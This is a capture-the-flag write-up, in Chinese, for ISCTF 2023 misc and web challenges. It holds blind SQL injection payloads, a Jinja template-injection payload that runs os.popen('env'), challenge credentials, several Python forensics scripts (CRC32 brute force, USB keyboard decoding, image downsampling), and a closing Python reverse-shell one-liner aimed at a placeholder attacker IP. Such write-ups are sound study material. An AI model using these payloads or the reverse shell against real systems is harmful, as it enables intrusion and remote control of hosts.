ISCTF 2023 misc&web wp

admin’ and length(database()) > 1#爆破当前数据库长度

admin’ and substr(database(),1,1) > ‘b’ #第一位为b

admin’ and substr(database(),2,1) > ‘t’ #第二位为t

admin’ and substr((select §xx§ from bthcls.§xx§ limit 0,1),1,1)>’a’ #

admin’and ascii(substr((select group_concat(password)from bthcls.users limit 0,1),1,1))>§32§ #

账号：admin

密码：we1come7o1sctf

{{url_for.__globals__[‘__builtins__’][‘eval’](“__import__(‘os’).popen(‘env’).read()”)}}

Python
# 读取整个文本文件内容
with open(‘C:/Users/Nanian233/Desktop/a.txt’, ‘r’) as file:
content = file.readlines()

# 提取文件名和对应的十六进制数值，放入元组列表
data = [(line.split(‘:’)[0].strip(), int(line.split(‘:’)[1].strip(), 16)) for line in content]

# 按照文件名的数字顺序对元组列表进行排序
sorted_data = sorted(data, key=lambda x: int(x[0].split(‘.’)[0].split()[-1]))

# 输出排序后的结果
for entry in sorted_data:
print(f”{entry[0]}: {hex(entry[1])}”)

Python
import re

def extract_hex(file_content):
# 使用正则表达式匹配每一行txt后面的十六进制数据
hex_values = re.findall(r’\[OK\] \d+\.txt: (0x[0-9a-fA-F]+)’, file_content)

# 将十六进制数据用逗号隔开，头尾套上方括号
result_str = ‘[‘ + ‘,’.join(hex_values) + ‘]’

return result_str

if __name__ == ‘__main__’:
# 用于测试的示例文本，你需要替换成你的实际文本
example_text = “””
[OK] 0.txt: 0xd2b184ff
[OK] 1.txt: 0xb462df74
[OK] 2.txt: 0x32973a9e
… (其他行)
[OK] 217.txt: 0xef809c83
“””

result = extract_hex(example_text)
print(result)

Python
import zlib

crc_list = [xxxx]# 遍历所有可能的3字节数据
for target_crc in crc_list:
for i in range(256):
for j in range(256):
for k in range(256):
data = bytes([i, j, k]) # 构造3字节数据
crc = zlib.crc32(data) & 0xffffffff # 计算CRC32值
if crc == target_crc:
data=data.decode()
print(f”Found matching data: {data}”)
break

print(“Finished searching.”)

Python
from PIL import Image

img = Image.open(‘arcaea.png’)
w = img.width
h = img.height
img_obj = Image.new(“RGB”,(w//10,h//10))

for x in range(w//10):
for y in range(h//10):
(r,g,b)=img.getpixel((x*10,y*10))
img_obj.putpixel((x,y),(r,g,b))

img_obj.save(‘ok.png’)

Python
#!/usr/bin/env python
# -*- coding:utf-8 -*-

normalKeys = {“04″:”a”, “05”:”b”, “06”:”c”, “07”:”d”, “08”:”e”, “09”:”f”, “0a”:”g”, “0b”:”h”, “0c”:”i”, “0d”:”j”, “0e”:”k”, “0f”:”l”, “10”:”m”, “11”:”n”, “12”:”o”, “13”:”p”, “14”:”q”, “15”:”r”, “16”:”s”, “17”:”t”, “18”:”u”, “19”:”v”, “1a”:”w”, “1b”:”x”, “1c”:”y”, “1d”:”z”,”1e”:”1″, “1f”:”2″, “20”:”3″, “21”:”4″, “22”:”5″, “23”:”6″,”24″:”7″,”25″:”8″,”26″:”9″,”27″:”0″,”28″:””,”29″:””,”2a”:”“, “2b”:”\t”,”2c”:””,”2d”:”-“,”2e”:”=”,”2f”:”[“,”30″:”]”,”31″:”\\”,”32″:””,”33″:”;”,”34″:”‘”,”35″:””,”36″:”,”,”37″:”.”,”38″:”/”,”39″:””,”3a”:””,”3b”:””, “3c”:””,”3d”:””,”3e”:””,”3f”:””,”40″:””,”41″:””,”42″:””,”43″:””,”44″:””,”45″:””}
shiftKeys = {“04″:”A”, “05”:”B”, “06”:”C”, “07”:”D”, “08”:”E”, “09”:”F”, “0a”:”G”, “0b”:”H”, “0c”:”I”, “0d”:”J”, “0e”:”K”, “0f”:”L”, “10”:”M”, “11”:”N”, “12”:”O”, “13”:”P”, “14”:”Q”, “15”:”R”, “16”:”S”, “17”:”T”, “18”:”U”, “19”:”V”, “1a”:”W”, “1b”:”X”, “1c”:”Y”, “1d”:”Z”,”1e”:”!”, “1f”:”@”, “20”:”#”, “21”:”$”, “22”:”%”, “23”:”^”,”24″:”&”,”25″:”*”,”26″:”(“,”27″:”)”,”28″:””,”29″:””,”2a”:”“, “2b”:”\t”,”2c”:””,”2d”:”_”,”2e”:”+”,”2f”:”{“,”30″:”}”,”31″:”|”,”32″:””,”33″:”\””,”34″:”:”,”35″:””,”36″:””,”38″:”” />”,”3a”:””,”3b”:””, “3c”:””,”3d”:””,”3e”:””,”3f”:””,”40″:””,”41″:””,”42″:””,”43″:””,”44″:””,”45″:””}
output = []
keys = open(‘change.txt’)#数据文件路径
for line in keys:
try:
if line[0]!=’0′ or (line[1]!=’0′ and line[1]!=’2′) or line[3]!=’0′ or line[4]!=’0′ or line[9]!=’0′ or line[10]!=’0′ or line[12]!=’0′ or line[13]!=’0′ or line[15]!=’0′ or line[16]!=’0′ or line[18]!=’0′ or line[19]!=’0′ or line[21]!=’0′ or line[22]!=’0′ or line[6:8]==”00″:
continue
if line[6:8] in normalKeys.keys():
output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]==’2′]
else:
output += [‘[unknown]’]
except:
pass
keys.close()

flag=0
print(“”.join(output))
for i in range(len(output)):
try:
a=output.index(‘‘)
del output[a]
del output[a-1]
except:
pass
for i in range(len(output)):
try:
if output[i]==””:
flag+=1
output.pop(i)
if flag==2:
flag=0
if flag!=0:
output[i]=output[i].upper()
except:
pass
print (‘output :’ + “”.join(output))

Python
import matplotlib.pyplot as plt
# 提供的数据
data =[1,2.75,1,1,2.5,1,1,2.25,1,1,1.75,1,1,2,1,1,3,1,1.5,3,1,2,3,1,2,2.75,1,2,2.5,1,2,2.25,1,2,2,1,2,1.75,1,2,1.5,1,1,2.25,1,1.5,2.25,1,1,1.5,1,1.5,1.5,1,
4,2.75,1,4,2.5,1,3,3,1,3.5,3,1,4,3,1,3.5,2.25,1,4,2.25,1,4,2,1,4,1.75,1,4,1.5,1,3,1.5,1,3.5,1.5,1,3,2.25,1,3,2.5,1,3,2.75,1,
5,3,1,5.5,3,1,6,3,1,6,2.25,1,6,2,1,6,1.75,1,6,1.5,1,5.5,1.5,1,5,1.5,1,5,2.25,1,5.5,2.25,1,5,2.5,1,5,2.75,1,
7,3,1,7.5,3,1,8,3,1,8,2.5,1,8,2,1,8,1.5,1,8,2.75,1,8,2.25,1,8,1.75,1,
9,3,1,9.5,3,1,10,3,1,10,2.75,1,10,2.5,1,10,2.25,1,9.5,2.25,1,9,2.25,1,9,1.5,1,9.5,1.5,1,10,1.5,1,10,2,1,10,1.75,1,
11.5,3,1,12,3,1,11,3,1,12,2.25,1,12,2,1,12,1.75,1,12,1.5,1,11.5,1.5,1,11,1.5,1,11,1.75,1,11,2,1,11,2.25,1,11,2.5,1,11,2.75,1,11.5,2.25,1]
# 将数据分割成 x 和 y 坐标
x = data[::3]
y = data[1::3]
# 绘制散点图
plt.scatter(x,y)
plt.title(‘Scatter Plot’)
plt.xlabel(‘X-axis’)
plt.ylabel(‘Y-axis’)
plt.show()

Python
# 读取输入文件
with open(‘xxx’, ‘r’) as file:
lines = file.readlines()

# 初始化上一行指定位置的数字
prev_digit_position = 0

# 遍历每一行数据
for line in lines:
# 获取当前行指定位置的数字
start_index = line.find(“SELECT flag from answer limit 0,1),”) + len(“SELECT flag from answer limit 0,1),”)
end_index = line.find(“,1))=”)

if start_index != -1 and end_index != -1:
digit_position = int(line[start_index:end_index])

# 检查指定位置的数字是否发生变化
if prev_digit_position + 1 == digit_position:
# 输出当前行的上一行指定位置的数据
prev_line = lines[lines.index(line) – 1]
start_shuju = prev_line.find(“,1))=”) + len(“,1))=”)
end_shuju = prev_line.find(“–“)
print(chr(int(prev_line[start_shuju:end_shuju])),end=””)

# 更新上一行指定位置的数字
prev_digit_position = digit_position

反弹shell：import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“攻击机ip”,监听端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/bash”,”-i”]);